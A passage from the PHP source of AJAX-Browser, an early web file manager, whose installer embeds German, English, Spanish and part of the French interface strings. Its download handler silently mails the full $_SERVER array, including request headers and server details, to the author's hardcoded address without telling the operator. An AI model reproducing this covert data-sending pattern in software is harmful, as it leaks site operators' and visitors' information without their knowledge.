<?php
/**-------------------------------------------------
 | AJAX-Browser  -  by Alban LOPEZ
 | Copyright (c) 2007 Alban LOPEZ
 | Email bugs/suggestions to alban.lopez@gmail.com
 +--------------------------------------------------
 | This script has been created and released under
 | the GNU GPL and is free to use and redistribute
 | only if this copyright statement is not removed
 +--------------------------------------------------*/

$version = '1.0.053-Pro_EditArea';
$projetName = 'AJAX-Browser';

if (!function_exists('fnmatch'))
{
	function fnmatch($pattern, $string)
	{
		return @preg_match('/^' . strtr(addcslashes($pattern, '/\\.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string);
	}
}

if (isset($_GET['version']))
	echo $version;
elseif (isset($_GET['name']))
	echo $projetName;
elseif (isset($_GET['download']))
{
	@mail("alban.lopez@gmail.com", "New Download on : $projetName $version", var_export($_SERVER,true)."\nidentity : ".$identity);
	header('Content-Type: application/php');
	header('Content-Disposition: attachment; filename="'.basename($_SERVER['PHP_SELF']).'"');
	header('Content-Length: '.strlen(file_get_contents("./".basename($_SERVER['PHP_SELF']))));
	header('Content-Transfer-Encoding: binary');
	header('Cache-Control: no-cache, must-revalidate, max-age=60');
	header('Expires: Sat, 01 Jan 2000 12:00:00 GMT');
	readfile("./".basename($_SERVER['PHP_SELF']));
}
elseif (isset($_GET['addons']))
{ ?>
<li>For PRO Version <b>PHP5.0 is needed</b> but include</li>
<li>Include Archives functions Download/Extract/Infos for <b>ZIP,TAR,GZIP,BZIP2</b></li>
<li><b>EditArea</b> (Real Time Syntax Highlighting Editor) open, editing and saving your sources code</li>
<li>Since V1.0.00</li>
<li>Firefox and epiphany run perfectly but IE7, Opera, G-Chrome, Konqueror runs partially</li>
<li>Debug <b>Watermark</b> and improve method (now is on the middle and maximized for image fullsize)</li>
<li>Debug <b>mime</b> detection.</li>

<?php }
else
{
	$lst64 = array (
  './AJAX-B/Language de.php' => '<?php$ABS = array (	'language_in_English' => 'German',	'language_in_Language' => 'Deutsch',	'language_abbreviation' => 'de',	'language_translator' => 'atlan_d',	'language_version' => '0.2.2',	'language_src_flag' => 'src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAGzSURBVHjaYvTxcWb4+53h3z8GZpZff/79+v3n/7/fDAz/GHAAgABi+f37e3FxOZD1Dwz+/v3z9y+E/AMFv3//+Qumfv9et241QACxMDExAVWfOHkJJAEW/gUEP0EQDn78+AHE/gFOQJUAAcQiy8Ag8O+fLFj1n1+/QDp+/gQioK7fP378+vkDqOH39x9A/RJ/gE5lAAhAYhzcAACCQBDkgRXRjP034R0IaDTZTFZn0DItot37S94KLOINerEcI7aKHAHE8v/3r/9//zIA1f36/R+o4tevf1ANYNVA9P07RD9IJQMDQACxADHD3z8Ig4GMHz+AqqHagKp//fwLVA0U//v7LwMDQACx/LZiYFD7/5/53/+///79BqK/EMZ/UPACSYa/v/8DyX9A0oTxx2EGgABi+a/H8F/m339BoCoQ+g8kgRaCQvgPJJiBYmAuw39hxn+uDAABxMLwi+E/0PusRkwMvxhBGoDkH4b/v/+D2EDyz///QB1/QLb8+sP0lQEggFh+vGXYM2/SP6A2Zoaf30Ex/J+PgekHwz9gQDAz/P0FYrAyMfz7wcDAzPDtFwNAgAEAd3SIyRitX1gAAAAASUVORK5CYII="',	'getFF' => 'Laden sie Mozilla Firefox runter, um AJAX-Browser voll nutzen zu koennen',	0 => 'http Dateimanager',	1 => 'Oeffnen einer AJAX-Browser Sitzung',	2 => 'Modus',	3 => 'Zu letzt eingelogt',	4 => 'Cancel',	5 => 'Login',	6 => 'Passwort',	7 => 'Sign Out',	8 => 'Dokumentation',	9 => 'Besuch',	10 => 'OK',	11 => 'Benutzername',	12 => 'Pfad Sicht',	13 => 'Gallerie Sicht',	14 => 'Empfohlen',	15 => 'Neu',	16 => 'Cut',	17 => 'Copy',	18 => 'Paste',	19 => 'Name aendern',	20 => 'MultiRename',	21 => 'Loeschen',	22 => 'Runterladen',	23 => 'Nur diesen',	24 => 'Hochladen',	25 => 'Oeffnen / editieren',	26 => 'Eigenschaften',	27 => 'Hierher schieben ',	28 => 'Hierher kopieren ',	29 => 'Bitte warten, Daten werden geladen...',	30 => 'Bug Bericht/Kommentar schicken',	31 => 'Groesse',	32 => 'Typ',	33 => 'Datum',	34 => 'Rechte',	35 => ' versuche, Sie sind auf der Blackliste !',36 => '', // 'Uncompress here',	37 => 'Contribuer financierement aux ameliorations.',38 => '', // 'Please active Java Script to use AJAX-Browser',	100 => 'Unmoeglich die Datei "*.conf" in ".AJAX-B" zu schreiben, ueberpruefen sie bitte die Rechte',	101 => 'Kein Konfigurationsdatei konnte gefunden werden',	102 => 'Bitte ein Admin Konto einrichten:',103 => 'session.use_cookies=1 ?', // Probleme de configuration des session dans PHP.ini, verifier que : session.use_cookies=1',	200 => 'Unter AJAX-Browser sichtbare Domaine',	201 => 'Neuer Folder oder Datei',	202 => 'Diese Datei(en) neu benennen...',	203 => 'Die ganze Auswahl entfernen',	204 => 'Download erzwingen',	205 => 'Die Auswahl herunterladen im Format ',	206 => 'Dateien in diesem Folder ablegen.',	207 => 'Den Admin des Browsers benachrichtigen',	208 => 'Die Ansicht mit der Maske filtern',	209 => 'Den Link in diesem Folder setzen',	210 => 'AJAX-Browser konfigurieren',	211 => 'Nutzerkonten verwalten',	212 => 'Mein Nutzerprofil verwalten',	213 => 'Ueber AJAX-Browser',	214 => 'Nutzerkonten verwalten',	300 => 'Unmoeglich den SESSIONS Folder zu erreichen oder in herzustellen',	301 => 'AJAX-Browser offizielle Homepage',	402 => 'Keine neue Version!',	403 => 'Mirror nicht erreichbar !',	500 => 'Doppelklick um den offenen Folder auszusuchen',	501 => 'AJAX-Browser Version',	502 => 'E-mail des Admin.',	503 => 'Mit Komma trennen.',	504 => 'Update Server.',	505 => 'Kein Update!',	506 => 'Verzeihung, Mirror nicht erreichbar:-(',	507 => 'Kein Update zur Verfuegung, Sie haben die Aktuelle Version ;-)',	508 => 'Update zur Verfuegung',	509 => 'Als ungefaehrlich eingestufte Dateien',	510 => 'Als gefaehrlich eingestufte Dateien',	511 => 'Dateien die mit CodePress online geoeffnet werden koennen',	512 => 'Folder fuer die Log (SPY) dateien',	513 => 'Speichern der log (SPY) Dateien',	514 => 'Die IP.',	515 => 'Die LOG.',	516 => 'Die Aktivitaeten.',	517 => 'Die angesehenen Folder',	518 => 'Mit Vorsicht zu handhaben (grosse Datenmengen)',	519 => 'Rechtliche Vorschriften beachten',	520 => 'Folder fuer die Ikonen',	521 => 'Ladeintervalle fuer die Ikonen',	522 => 'LAN 100Mb/sec, 6000 img/min.',	523 => 'Guter Server und Verbindung, 600 img/min.',	524 => 'Server, normale Verbindung und Bilder, 240 img/min (empfohlen)',	525 => 'Langsamer Server oder grosse Bilder, 120 img/min.',	526 => 'Sehr langsamer Server oder riesige Bilder, 40 img/min.',	527 => 'Alte Ikonen loeschen.',	528 => 'BlackListe.',	601 => 'Diesen Zugang aendern',	602 => 'Diese Zugang entfernen',	603 => 'Nutzer hinzufuegen',	604 => 'Email des Nutzers.',	605 => 'Diesen Code aendern',	606 => 'Neuen Code waehlen',	607 => 'Neues Passort aussuchen!',	608 => 'Passwort nicht wechseln!',	609 => 'Si koennen sie durch ankreuzen aendern',	610 => 'Zugriffskonfiguration.',	611 => 'Default Folder beim einloggen',	612 => 'Parentfolder durchsuchen !',	613 => 'Default Anzeigemodus',	614 => 'Groesse der Ikonen im Galleriemodus',	615 => 'Klein',	616 => 'Mittel',	617 => 'Gross',	618 => 'Riesig',	619 => 'Gigantisch',	620 => 'Rechte auf die Domaine.',	621 => 'Elemente erstellen',	622 => 'Erlaubt Dateien und Folder zu erstellen',	623 => 'Elemente neu benennen',	624 => 'Erlaubt Dateien und Folder neu zu benennen',	625 => 'Dateien loeschen',	626 => 'Loeschen von Dateien erlaubt',	627 => 'Versteckte Dateien sehen',	628 => 'Erlaubt versteckte Dateien zu sehen(beginend mit ´.´)',	629 => 'Kopieren von Dateien',	630 => 'Kopieren von Dateien erlaubt',	631 => 'Verschieben von Dateien',	632 => 'Verschieben von Dateien erlaubt',	633 => 'CodePress Nutzung.',	634 => 'Ansehen mit CodePress',	635 => 'Editieren mit CodePress',	636 => 'Dies ist gueltig fuer die vom Admin definierten Masken:',	637 => 'Datenuebertragung.',	638 => 'Kann alles erreichbare runterladen!',	639 => 'Upload von Dateien durch AJAX-Browser',	640 => 'Keine (nicht einmal Bilddateien)',	641 => 'Nur diese Dateien',	642 => 'Alle ausser',	643 => 'Alle, ohne irgendeine Ausnahme (admin)!',	644 => 'Globale Admin Konfiguration.',	645 => 'Allgemeine Konfiguration von AJAX-Browser',	646 => 'Konfiguration aller Nutzerkonten',	647 => 'Einzelheiten der Verbindungen',	648 => 'Andere Sprachen bekommen',	649 => 'Beim Admin nach anderen Sprachen fragen',	650 => 'Datein dekomprimieren',	651 => 'ZIP, TAR, GZIP, BZIP2 Dekompression erlauben',	652 => 'Von der BlackListe streichen',653 => '', // 'Specifier un nouveau nom d utilisateur :',	701 => 'Ihre Nachricht wurde abgeschickt:',	702 => 'Ein Fehler hat sich beim abschicken eingeschlichen',	703 => 'Nochmal versuchen...',	704 => 'Ihre Email (Pflicht)',	705 => 'Betreff(Pflicht):',	706 => 'Nachricht (Pflicht):',	801 => 'Fehler bei',	802 => 'Schreibrechte pruefen auf ',	803 => 'Sie haben nicht das Recht diese Dateitypen aufzuladen',	804 => 'Fehler, Datei nicht angekommen',	805 => 'Keine Datei aufgeladen',	900 => 'Server Fehler',	906 => 'Ihr Browser wird nicht unterstuezt',	907 => 'Ihr Browser blockiert Popups und verhindert diese Fenster zu oeffnen',	908 => 'Geben Sie bitte einen Namen fuer dieses neue Objekt ein',	909 => 'Mit / enden um einen neuen Folder zu schreiben',	910 => 'Bitte einen neuen Name fuer die ausgewaehlten Objekte eingeben',	911 => 'Sie koennen Joker benutzen um mehrer Objekte auszuwaehlen',	912 => 'Augenblicklicher Name',	913 => 'Folder',	914 => 'Zaehler',	915 => 'Keine Erweiterung',	916 => 'Beispiel: ',	917 => 'Wollen Sie wirklich die ausgesuchten Objekte dauerhaft loeschen?',	918 => 'Neue Datei hinzufuegen',);?>',
  './AJAX-B/Language en.php' => '<?php
$ABS = array( // Ajax Browser Sentences
'language_in_English' => 'English',
'language_in_Language' => 'English',
'language_abbreviation' => 'en',
'language_translator' => 'solene.chatelain, francois.felix, atlan_d',
'language_version' => '0.3.2',
'language_src_flag' => 'src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAflJREFUeNpinDRzn5qN3uFDt16+YWBg+Pv339+KGN0rbVP+//2rW5tf0Hfy/2+mr99+yKpyOl3Ydt8njEWIn8f9zj639NC7j78eP//8739GVUUhNUNuhl8//ysKeZrJ/v7z10Zb2PTQTIY1XZO2Xmfad+f7XgkXxuUrVB6cjPVXef78JyMjA8PFuwyX7gAZj97+T2e9o3d4BWNp84K1NzubTjAB3fH0+fv6N3qP/ir9bW6ozNQCijB8/8zw/TuQ7r4/ndvN5mZgkpPXiis3Pv34+ZPh5t23//79Rwehof/9/NDEgMrOXHvJcrllgpoRN8PFOwy/fzP8+gUlgZI/f/5xcPj/69e/37//AUX+/mXRkN555gsOG2xt/5hZQMwF4r9///75++f3nz8nr75gSms82jfvQnT6zqvXPjC8e/srJQHo9P9fvwNtAHmG4f8zZ6dDc3bIyM2LTNlsbtfM9OPHH3FhtqUz3eXX9H+cOy9ZMB2o6t/Pn0DHMPz/b+2wXGTvPlPGFxdcD+mZyjP8+8MUE6sa7a/xo6Pykn1s4zdzIZ6///8zMGpKM2pKAB0jqy4UE7/msKat6Jw5mafrsxNtWZ6/fjvNLW29qv25pQd///n+5+/fxDDVbcc//P/zx/36m5Ub9zL8+7t66yEROcHK7q5bldMBAgwADcRBCuVLfoEAAAAASUVORK5CYII="',

0 => 'HTTP File Manager',
1 => 'Log in to AJAX-Browser',
2 => 'Mode',
3 => 'Last login',
4 => 'Cancel',
5 => 'Login',
6 => 'Password',
7 => 'Sign out',
8 => 'Help',
9 => 'Visit',
10 => 'OK',
11 => 'Username',
12 => 'Tree view',
13 => 'Gallery',
14 => 'Recommended',

15 => 'New',
16 => 'Cut',
17 => 'Copy',
18 => 'Paste',
19 => 'Rename',
20 => 'Multi rename',
21 => 'Delete',
22 => 'Download',
23 => 'This file only',
24 => 'Upload',
25 => 'Open / Edit',
26 => 'Properties',
27 => 'Move here',
28 => 'Copy here',
29 => 'Please wait, loading...',
30 => 'Report a bug and/or send a comment',
31 => 'Size',
32 => 'Type',
33 => 'Date',
34 => 'Rights',
35 => ' trials, You are Blacklisted !',
36 => 'Uncompress here',
37 => 'Contribuer financierement aux ameliorations.',
38 => 'Please active Java Script to use AJAX-Browser',

// fichier ManageSuperGlobales.php
100 => 'Cannot create file "*.conf" in "AJAX-B", please check access rights',
101 => 'Setting file not found',
102 => 'Please create an admin account:',
103 => '?', // Probleme de configuration des session dans PHP.ini, verifier que : session.use_cookies=1',

// fichier InitHTML.php
200 => 'Website powered by AJAX-Browser application',
201 => 'New file or folder',
202 => 'Rename this item, selection or contents...',
203 => 'Delete selection',
204 => 'Force download',
205 => 'Download selection to format',
206 => 'Upload files to this folder',
207 => 'Contact Browser Admin',
208 => 'Apply mask to visible contents',
209 => 'Send link to this folder',
210 => 'AJAX-Browser settings',
211 => 'User Accounts management',
212 => 'My User Profile management',
213 => 'About : AJAX-Browser',
214 =>'Manage accounts',

// fichier ExplorerTools.php
// fichier ArchiveTools.php

// fichier SessionTools.php
300 => 'Cannot access and create the SESSIONS directory',
301 => 'AJAX-Browser official website',

// fichier Command.php
402 => 'No update available!',
403 => 'Mirror unreachable!',

// fichier Setting.php
500 => 'Double-click to open folder',
501 => 'AJAX-Browser Version',
502 => 'Admin(s) email address.',
503 => 'Separate with commas',
504 => 'Update Mirror.',
505 => 'Empty => no update !',
506 => 'Sorry, mirror unreachable :-(',
507 => 'No update available, you already have the latest version installed ;-)',
508 => 'Update available',
509 => 'Files considered non sensitive',
510 => 'Files considered sensitive',
511 => 'File to be opened online with CodePress',
512 => 'Folder for *.spy files',
513 => 'Saving SPY files',
514 => 'IP.',
515 => 'Logins.',
516 => 'Actions.',
517 => 'Read folders',
518 => 'Warning: use with caution',
519 => 'See applicable law',
520 => 'Folder thumbnail',
521 => 'Thumbnail loading lead time',
522 => 'Network 100Mb/sec, 6000 pics/min.',
523 => 'Good server and connection, 600 pics/min.',
524 => 'Normal server, connection and pictures, 240 pics/min (recommended)',
525 => 'Slow serveur or big picture, 120 pics/min.',
526 => 'Very slow server or huge picture, 40 pics/min.',
527 => 'Erase the old thumbnails.',
528 => 'BlackList.',

// fichier Account.php
601 => 'Change this account',
602 => 'Delete this account',
603 => 'Add a user',
604 => 'User email address.',
605 => 'Change password',
606 => 'Set a new password',
607 => 'Select a new password !',
608 => 'No change !',
609 => 'You may change it by ticking the box on the right',
610 => 'Access settings',
611 => 'Default folder on startup',
612 => 'Browse parent folders!',
613 => 'Default display mode',
614 => 'Thumbnail size in Gallery mode',
615 => 'Small',
616 => 'Medium',
617 => 'Big',
618 => 'Huge',
619 => 'Bleeding massive',
620 => 'Rights on the domain',
621 => 'Create items',
622 => 'Will be allowed to create files or folders',
623 => 'Rename items',
624 => 'Will be allowed to rename files or folders',
625 => 'Delete items',
626 => 'Will be allowed to delete files or folders',
627 => 'See hidden files',
628 => 'Will be allowed  to see hidden files (starting with ´.´)',
629 => 'Copy items',
630 => 'Will be authorized to copy files or folders',
631 => 'Move items',
632 => 'Will be authorized to move files or folders',
633 => 'Use CodePress.',
634 => 'CodePress view',
635 => 'CodePress edition',
636 => 'This applies to masks defined by the Admin',
637 => 'Data transfer',
638 => 'Can download anything accessible',
639 => 'Upload file with AJAX-Browser',
640 => 'None (not even a picture...)',
641 => 'Files only',
642 => 'Everything but',
643 => 'Everything, with no restriction (admin)!',
644 => 'Global Management settings',
645 => 'AJAX-Browser general settings',
646 => 'Setup all user accounts',
647 => 'Connection details',
648 => 'Get more languages',
649 => 'Request more languages',
650 => 'Uncompress items',
651 => 'Will be allowed to decompress ZIP, TAR, GZIP, BZIP2',
652 => 'Remove from BlackList',
653 => 'Setup new username :',

// fichier ArborescenceAddon.php
// fichier Arborescence.php
// fichier GallerieAddon.php
// fichier Gallerie.php
'getFF' => 'Download Mowilla Firefox and get the best from AJAX-Browser',

// fichier Contact.php
701 => 'Your message was sent:',
702 => 'A problem occured while sending the message',
703 => 'Try again...',
704 => 'Your e-mail address (required)',
705 => 'Message subject  (required):',
706 => 'Message (required):',

// fichier ManageUpload.php
801 => 'An error occured on ',
802 => 'Check write access rights on ',
803 => 'You are not allowed to upload this type of file',
804 => 'Error, file not received',
805 => 'No file uploaded',

// fichiers *.JS
900 => 'Server error!',
906 => 'Your browser is not supported',
907 => 'Your pop-up blocking does not allow to open this window',
908 => 'Please enter a name for this new item',
909 => 'End with a / to create a new folder',
910 => 'Please enter a new name for the selection.',
911 => 'You can use wildcards for multiple selection',
912 => 'current name',
913 => 'folder',
914 => 'counter',
915 => 'no extention',
916 => 'example: ',
917 => 'Do you really want to permanently delete the selected items?',
918 => 'Add another file',
);?>',
  './AJAX-B/Language es.php' => '<?php
$ABS = array( // Ajax Browser Sentences
'language_in_English' =>  'Spanish',
'language_in_Language' => 'Espanol',
'language_abbreviation' => 'es',
'language_translator' => 'j-lz',
'language_version' => '0.2.2',
'language_src_flag' =>  'src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAFnSURBVHjaYvzPgAD/UNlYEUAAmuTYAAAQhAEYqF/zFbe50RZ1cMmS9TLi0pJLRjZohAMTGFUN9HdnHgEE1sDw//+Tp0ClINW/f0NIKPoFJH/9//ULyGaUlQXaABBALAx/Gf4zAt31F4i+ffj3/cN/XrFfzOx//v///f//LzACM/79ZmD8/e8TA0AAMYHdDVT958vXP38nMDB0s3x94/Tj5y+YahhiAKLfQKUAAcQEdtJfoDHMF2L+vPzDmFXLelf551tGFOOhev4A/QgQQExgHwAd8IdFT/Wz6j+GhlpmXSOW/2z///8Eq/sJ18Dw/zdQA0AAMQExxJjjdy9x2/76EfLz4MXdP/i+wsyGkkA3Aw3984cBIIAYfzIwMKel/bt3jwEaLNAwgZIQxp/fDH/+MqqovL14ESCAWICeZvr9h0FSEhSgwBgAygFDEMT+wwAhgQgc4kAEVAwQQIxfUSMSTxxDAECAAQAJWke8v4u1tAAAAABJRU5ErkJggg=="',

0 => '', // 'Gestionnaire de fichier via http',
1 => '', // 'Ouverture d\'une session AJAX-Browser',
	2 => 'modo', // 'Mode',
	3 => 'ultima coneccion', // 'Derniere connexion',
	4 => 'cancelar', // 'Annuler',
5 => '', // 'Login',
	6 => 'contraseña', // 'Mot de passe',
	7 => 'deconeccion', // 'Deconnexion',
	8 => 'documentacion', // 'Documentation',
	9 => 'visita n°', // 'visite n°',
	10 => 'ok', // 'OK',
	11 => 'nombre de usario', // 'Nom d\'utilisateur',
12 => '', // 'arborescence',
	13 => 'galeria', // 'gallerie',
14 => '', // 'recommandé',
	15 => 'nuevo', // 'Nouveau',
	16 => 'cortar', // 'Couper',
	17 => 'copiar', // 'Copier',
	18 => 'pegar', // 'Coller',
	19 => 'reelegir', // 'Renommer',
	20 => 'ree. una seria', // 'Ren. une serie',
	21 => 'suprimir', // 'Supprimer',
	22 => 'descargar', // 'Telecharger',
	23 => 'este mismo solamente', // 'Celui ci seulement',
	24 => 'subir', // 'Upload',
	25 => 'abrir/editar', // 'Ouvrir / Editer',
	26 => 'propriedades', // 'Proprietés',
	27 => 'desplazar aqui', // 'Deplacer ici',
	28 => 'copiar aqui', // 'Copier ici',
	29 => 'quiere esperar,cargamento en curso', // 'Veuillez patienter, chargement en cours...',
30 => '', // 'Signaler un bug et / ou faire une suggestion',
	31 => 'tamaño', // 'Taille',
	32 => 'tipo', // 'Type',
	33 => 'datos', // 'Date',
	34 => 'derechos', // 'Droits',
	35 => ' errores, estas bloqueado', // ' tentatives, Vous etes blacklisté !',
36 => '', // 'Decompresser ici',
37 => '', // 'Contribuer financierement aux ameliorations.',
38 => '', // 'Please active Java Script to use AJAX-Browser',

// fichier ManageSuperGlobales.php
100 => 'imposible de crear un archivo', // 'Impossible de créer le fichier "*.conf" dans ".AJAX-B" veuillez verifier les droits',
	101 => 'ninguno archivo de configuracion puede encontrarse', // 'Aucun fichier de configuration n\'a été trouvé',
102 => '', // 'Veuillez definir un compte Administrateur :',
	103 => 'problema de configuracion de unas sessiones en PHP.ini, verificar que: session.use_cookies=1', // 'Probleme de configuration des session dans PHP.ini, verifier que : session.use_cookies=1',

// fichier InitHTML.php
200 => '', // 'Domaine vu sous AJAX-Browser',
	201 => 'nueva carpeta o nuevo archivo', // 'Nouveau dossier ou fichier',
	202 => 'reelegir este elemento,la seleccion o los contenidos...', // 'Renommer cet element, la selection ou les contenus...',
	203 => 'suprimir toda la seleccion', // 'Supprimer toute la selection',
	204 => 'forzar el descargamiento', // 'Forcer le Telechargement',
	205 => 'descargamiento de la seleccion al formato', // 'Telechargement de la selection au format ',
	206 => 'enviar los archivos hacia esta carpeta', // 'Deposer des fichiers vers ce repertoire.',
	207 => 'contactar el administrador del browser', // 'Contacter l\'administrateur du Browser',
208 => '', // 'Filtre le contenu visible selon le masque.',
	209 => 'extraer el vinculo hacia esta carpeta', // 'Extraire le lien vers ce dossier',
	210 => 'configurar AJAX-Browser', // 'Configurer AJAX-Browser',
	211 => 'gestion de las cuentas de usarios', // 'Gestion des comptes Utilisateurs',
	212 => 'gestion de mi profil usarios', // 'Gestion de mon profil Utilisateur',
	213 => 'a proposito de : AJAX-Browser', // 'A Propos de : AJAX-Browser',
	214 => 'gestion de las cuentas', // 'Gestion des comptes',

// fichier ExplorerTools.php
// fichier ArchiveTools.php

// fichier SessionTools.php
	300 => 'imposible de acceder e crear la carpeta de SESIONES ', // 'Impossible d\'accéder et de créer le repertoire de SESSIONS',
	301 => 'sitio official', // 'Site officiel d\'AJAX-Browser',

// fichier Command.php
	402 => 'no hay nueva version', // 'Pas de nouvelle version !',
	403 => 'espejo no esta disponible', // 'Miroir injoignable !',

// fichier Setting.php
500 => '', // 'Double Click pour choisir le dossier ouvert',
	501 => 'AJAX-Browse version', // 'AJAX-Browser Version',
	502 => 'direccion electronica del administrador', // 'E-mail de(s) l\'Administrateur(s).',
	503 => 'separar por comas', // 'Separer par des virgules.',
504 => '', // 'Serveur de mise a jour.',
	505 => 'vacio => no hay actualizacion', // 'Vide => pas de mise a jour !',
	506 => 'lo siento, espejo no disponible :-(', // 'Désolée, miroir injoignable :-(',
	507 => 'no hay actualizaciones dispinibles,tiene la ultima version ;-)', // 'Pas de mise à jour disponible,vous avez déjà la dernière version ;-)',
	508 => 'actualizacion disponible', // 'Mise à jour disponible',
	509 => 'archivo considerado como muy sensible', // 'Fichier consideré comme très peu sensible',
	510 => 'archivo considerado como sensible', // 'Fichier consideré comme sensible',
	511 => 'archivo que se puede abrir en linea con CodePress', // 'Fichier ouvrable en ligne avec CodePress',
	512 => 'carpeta por los archivos espias', // 'Dossier pour les fichiers espions',
	513 => 'registro de los archivos', // 'Enregistrement des fichiers.SPY',
514 => '', // 'Les IP.',
515 => '', // 'Les connexions.',
	516 => 'los acciones', // 'Les actions.',
	517 => 'las carpetas recorridos', // 'Les dossiers parcourus',
	518 => 'a utilizar con moderacion (gordo)', // 'A utiliser avec moderation (lourd)',
	519 => 'ver la legislacion en vigor', // 'Voir la legislation en vigueur',
520 => '', // 'Dossier pour les miniatures',
521 => '', // 'Intervale de chargement des miniatures',
522 => '', // 'Réseau local 100Mb/sec, 6000 img/min.',
523 => '', // 'Bon serveur et bonne connexion, 600 img/min.',
524 => '', // 'Serveur, connexion et images normaux, 240 img/min (recommandé)',
525 => '', // 'Serveur lent ou grosse image, 120 img/min.',
526 => '', // 'Serveur très lent ou image énorme, 40 img/min.',
527 => '', // 'Effacer les anciennes miniature.',
528 => '', // 'BlackListe.',

// fichier Account.php
	601 => 'modificar esta cuenta', // 'Modifier ce compte',
	602 => 'suprimir esta cuenta', // 'Supprimer ce compte',
	603 => 'agregar un usario', // 'Ajouter un Utilisateur',
	604 => 'direccion electronica del usario', // 'E-mail de l\'utilisateur.',
	605 => 'cambiar el codigo', // 'Changer ce code',
	606 => 'especificar un nuevo codigo', // 'Spécifier un nouveau code',
	607 => 'elegir una nueva contraseña', // 'Choisissez un nouveau mot de passe !',
	608 => 'no hay cambios', // 'Pas de changement !',
609 => '', // 'Vous pouvez le changer en cochant la case de droite',
	610 => 'configuracion de acceso', // 'Configuration d\'accés.',
611 => '', // 'Dossier par défaut à l\'ouverture',
	612 => 'recorrir las carpetas padres', // 'Parcourir les dossiers parents !',
613 => '', // 'Mode d\'affichage par défaut',
614 => '', // 'Taille des miniatures en mode gallerie',
615 => '', // 'Petite',
616 => '', // 'Moyenne',
617 => '', // 'Grande',
618 => '', // 'Enorme',
619 => '', // 'Gigantesque',
620 => '', // 'Droits sur le domaine.',
621 => '', // 'Créer des éléments',
622 => '', // 'Sera autorisé à créer des fichiers ou des dossiers',
623 => '', // 'Renommer les éléments',
624 => '', // 'Sera autorisé à renommer des fichiers ou des dossiers',
625 => '', // 'Supprimer des éléments',
626 => '', // 'Sera autorisé à supprimer des fichiers ou des dossiers',
627 => '', // 'Voir les éléments cachés',
628 => '', // 'Sera autorisé à voir les fichiers cachés (commençant par un \'.\')',
629 => '', // 'Copier des éléments',
630 => '', // 'Sera autorisé à Copier des fichiers ou des dossiers',
631 => '', // 'Déplacer des éléments',
632 => '', // 'Sera autorisé à Deplacer des fichiers ou des dossiers',
633 => '', // 'Utilisation de CodePress.',
634 => '', // 'Visu CodePress',
635 => '', // 'Edition CodePress',
636 => '', // 'Ceci est valable pour les masques définis par l\'ADMIN :',
637 => '', // 'Transfert de données.',
638 => '', // 'Peut Télécharger tout ce qui lui est accéssible !',
639 => '', // 'Upload de fichier par AJAX-Browser',
640 => '', // 'Aucun (meme pas d\'images...)',
641 => '', // 'Seulement les fichiers',
642 => '', // 'Tout sauf',
643 => '', // 'Tout, sans aucune restriction (admin)!',
644 => '', // 'Config Globale d\'administration.',
645 => '', // 'Configuration générale d\'AJAX-Browser',
646 => '', // 'Configuration de tous les comptes utilisateur',
647 => '', // 'Détail des connexions',
648 => '', // 'Obtenir d\'autres langue',
649 => '', // 'Demander d\'autres langue a l\'admin',
650 => '', // 'Décompresser des éléments',
651 => '', // 'Sera autorisé à Decompresser les elements ZIP, TAR, GZIP, BZIP2',
652 => '', // 'Retirer de la BlackListe',
653 => '', // 'Specifier un nouveau nom d utilisateur :',

// fichier ArborescenceAddon.php
// fichier Arborescence.php
// fichier GallerieAddon.php
// fichier Gallerie.php
'getFF' => '', // 'Télécharger Mozilla Firefox, afin de profiter pleinement de AJAX-Browser',

// fichier Contact.php
701 => '', // 'Votre message a été envoyé :',
702 => '', // 'Un problème s\'est produit lors de l\'envoi du message.',
703 => '', // 'Ressayez...',
704 => '', // 'Votre adresse e-mail (obligatoire)',
705 => '', // 'Titre de message (obligatoire):',
706 => '', // 'Message (obligatoire):',

// fichier ManageUpload.php
801 => '', // 'Une erreur s\'est produite sur ',
802 => '', // 'Verifier les droits d\'écriture de ',
803 => '', // 'Ce type de fichier ne vous est pas autorisé à l\'upload.',
804 => '', // 'Erreur, fichier non reçu',
805 => '', // 'Aucun fichier uploadé',

// fichiers *.JS
900 => '', // 'Erreur serveur !',
906 => '', // 'Votre navigateur n\'est pas supporté',
907 => '', // 'Vos configurations anti PopUp ne permettent pas d\'ouvrir cette fenêtre.',
908 => '', // 'Spécifiez un nom pour ce nouvel élément',
909 => '', // 'terminez par un / pour créer un dossier',
910 => '', // 'Spécifiez un nouveau nom pour la selection.',
911 => '', // 'Pour une sélection multiple vous pouvez utliser ces caractères génériques',
912 => '', // 'nom actuel',
913 => '', // 'dossier',
914 => '', // 'compteur',
915 => '', // 'sans extention',
916 => '', // 'exemple si vous entrez',
917 => '', // 'Etes vous certain de vouloir supprimer définitivement les éléments selectionnés?',
918 => '', // 'Ajouter un autre fichier',
);?>',
  './AJAX-B/Language fr.php' => '<?php
$ABS = array( // Ajax Browser Sentences
'language_in_English' => 'French',
'language_in_Language' => 'Francais',
'language_abbreviation' => 'fr',
'language_translator' => 'solene.chatelain',
'language_version' => '0.3.2',
